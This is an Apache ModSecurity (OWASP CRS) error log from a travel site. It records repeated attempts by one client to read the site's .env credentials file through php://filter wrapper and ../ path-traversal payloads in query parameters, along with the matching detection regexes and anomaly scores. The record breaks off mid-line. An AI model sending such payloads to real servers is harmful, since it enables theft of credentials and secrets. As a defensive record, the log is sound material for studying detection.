[Fri Jul 17 08:55:11.953242 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:source: php://filter/zlib.deflate/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MPAAAAAc"]
[Fri Jul 17 08:55:11.953258 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:source: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSfAAAAB4"]
[Fri Jul 17 08:55:11.953284 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:source: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSfAAAAB4"]
[Fri Jul 17 08:55:11.953633 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:source: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSfAAAAB4"]
[Fri Jul 17 08:55:11.953883 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&source=php%3A%2F%2Ffilter%2Fzlib.deflate%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&ts=PSB_N4z_QgXXHp6eURd9fyqBMaruKavNU41r0-DbL_p3N5WS0adWeiWmofaXKDeIIggkm3o5MP9NGal-jWbsB7JvnaNHaY64-vZFngY4tBltAeVsvkUUSo4Llg1rPJGFP9V56XJLn-Clh9zRL1hNyFYKyAmJradMLaz-M82yxSh7D168YSglZ6Ywuqcg7j7hMMJ31lhVsufHvqicluO1V3MALAPQy2fdJYH8jfE4kOP2FJTqmgnvdTzwPJ7SC9BIAFC3w5CuaMwoJ8kEtxQU3JzT&junk=OD2TGUC4T2X5FIUFRIQ64YFHDUEFUGY4DYOGPGI7OANH4C3XPVXL5JP3NVA7Z..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglyRF0UOO1RzB5_8t8AAAAA4"]
[Fri Jul 17 08:55:11.953925 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:source: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglyRF0UOO1RzB5_8t8AAAAA4"]
[Fri Jul 17 08:55:11.953973 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&source=php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env&ts=PSB_N4z_QgXXHp6eURd9fyqBMaruKavNU41r0-DbL_p3N5WS0adWeiWmofaXKDeIIggkm3o5MP9NGal-jWbsB7JvnaNHaY64-vZFngY4tBltAeVsvkUUSo4Llg1rPJGFP9V56XJLn-Clh9zRL1hNyFYKyAmJradMLaz-M82yxSh7D168YSglZ6Ywuqcg7j7hMMJ31lhVsufHvqicluO1V3MALAPQy2fdJYH8jfE4kOP2FJTqmgnvdTzwPJ7SC9BIAFC3w5CuaMwoJ8kEtxQU3JzT&junk=OD2TGUC4T2X5FIUFRIQ64YFHDUEFUGY4DYOGPGI7OANH4C3XPVXL5JP3NVA7ZKXOO6SBABCT7NDDU7ZSLCDGHC3PJ..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglyRF0UOO1RzB5_8t8AAAAA4"]
[Fri Jul 17 08:55:11.954010 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&source=php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env&ts=psb_n4z_qgxxhp6eurd9fyqbmarukavnu41r0-dbl_p3n5ws0adweiwmofaxkdeiiggkm3o5mp9ngal-jwbsb7jvnanhay64-vzfngy4tbltaevsvkuuso4llg1rpjgfp9v56xjln-clh9zrl1hnyfykyamjradmlaz-m82yxsh7d168ysglz6ywuqcg7j7hmmj31lhvsufhvqicluo1v3malapqy2fdjyh8jfe4kop2fjtqmgnvdtzwpj7sc9biafc3w5cuamwoj8ketxqu3jzt&junk=od2tguc4t2x5fiufriq64yfhduefugy4dyogpgi7oanh4c3xpvxl5jp3nva7zkxoo6sbabct7nddu7zslcdghc3pj..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglyRF0UOO1RzB5_8t8AAAAA4"]
[Fri Jul 17 08:55:11.954032 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:source: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglyRF0UOO1RzB5_8t8AAAAA4"]
[Fri Jul 17 08:55:11.954064 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:source: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglyRF0UOO1RzB5_8t8AAAAA4"]
[Fri Jul 17 08:55:11.954282 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MPAAAAAc"]
[Fri Jul 17 08:55:11.954391 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:source: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglyRF0UOO1RzB5_8t8AAAAA4"]
[Fri Jul 17 08:55:11.954396 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.954630 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSfAAAAB4"]
[Fri Jul 17 08:55:11.954683 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl1h1WDijTxd1xw5MPAAAAAc"]
[Fri Jul 17 08:55:11.954758 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.955012 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl1CBpfuYyhJ140vSfAAAAB4"]
[Fri Jul 17 08:55:11.955373 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglyRF0UOO1RzB5_8t8AAAAA4"]
[Fri Jul 17 08:55:11.955464 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.955750 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglyRF0UOO1RzB5_8t8AAAAA4"]
[Fri Jul 17 08:55:11.955871 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:debug: php://filter/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl-Ypb_TFRze2EO3zWgAAAAE"]
[Fri Jul 17 08:55:11.956821 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl-Ypb_TFRze2EO3zWgAAAAE"]
[Fri Jul 17 08:55:11.956905 2026] [hostinglimits:warn] [pid 2023579:tid 2023579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2023579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.957182 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl-Ypb_TFRze2EO3zWgAAAAE"]
[Fri Jul 17 08:55:11.988905 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:debug: php://filter/convert.iconv.utf-8.utf-7/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBTwAAAAY"]
[Fri Jul 17 08:55:11.989943 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBTwAAAAY"]
[Fri Jul 17 08:55:11.990107 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.990390 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglw5GPQ6hs4VrfMpBTwAAAAY"]
[Fri Jul 17 08:55:11.990774 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&debug=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&cb=GOE_iXfYEERArVO3RC0ZQ_uNfjx6CykXiuTgfiwMIA3vbZ59LyWCK_BrvZ0D2jqohMAFGnIJhmENE878X7s8djj9rY40WxV1p7t7lMMpd5ki_pGtBt4u0A4eruDYRhR3gioz1uNO8Q8YANT8Q_qObvKOXtGorwA5L4i5j-D02zyW6-Rlf6CKEQA8gNXuachpkFKJmtwJH9EMvBhIUh-ZgIURY8fspRjpU9WAVzXno0J99JZpH5_OaZGDY6NVZpEt7TQxsLrS8m9Cqyb8hMs5cp9L&ref=C6Y3OQIELFGSJZHY5OHVHUZBJPKFMINCRD67FU7RLMW7ZM27Y4M3I3EK2DJJ57LTXX3KNMXHDYTEAWFVCO4..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l951QAAAAw"]
[Fri Jul 17 08:55:11.990811 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:debug: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l951QAAAAw"]
[Fri Jul 17 08:55:11.990857 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&debug=php://filter/convert.base64-encode/resource=../../.env&cb=GOE_iXfYEERArVO3RC0ZQ_uNfjx6CykXiuTgfiwMIA3vbZ59LyWCK_BrvZ0D2jqohMAFGnIJhmENE878X7s8djj9rY40WxV1p7t7lMMpd5ki_pGtBt4u0A4eruDYRhR3gioz1uNO8Q8YANT8Q_qObvKOXtGorwA5L4i5j-D02zyW6-Rlf6CKEQA8gNXuachpkFKJmtwJH9EMvBhIUh-ZgIURY8fspRjpU9WAVzXno0J99JZpH5_OaZGDY6NVZpEt7TQxsLrS8m9Cqyb8hMs5cp9L&ref=C6Y3OQIELFGSJZHY5OHVHUZBJPKFMINCRD67FU7RLMW7ZM27Y4M3I3EK2DJJ57LTXX3KNMXHDYTEAWFVCO43MQMNDUCZSY7OTL4354QFMZJ..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l951QAAAAw"]
[Fri Jul 17 08:55:11.990893 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&debug=php://filter/convert.base64-encode/resource=../../.env&cb=goe_ixfyeerarvo3rc0zq_unfjx6cykxiutgfiwmia3vbz59lywck_brvz0d2jqohmafgnijhmene878x7s8djj9ry40wxv1p7t7lmmpd5ki_pgtbt4u0a4erudyrhr3gioz1uno8q8yant8q_qobvkoxtgorwa5l4i5j-d02zyw6-rlf6ckeqa8gnxuachpkfkjmtwjh9emvbhiuh-zgiury8fsprjpu9wavzxno0j99jzph5_oazgdy6nvzpet7tqxslrs8m9cqyb8hms5cp9l&ref=c6y3oqielfgsjzhy5ohvhuzbjpkfmincrd67fu7rlmw7zm27y4m3i3ek2djj57ltxx3knmxhdyteawfvco43mqmnduczsy7otl4354qfmzj..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname 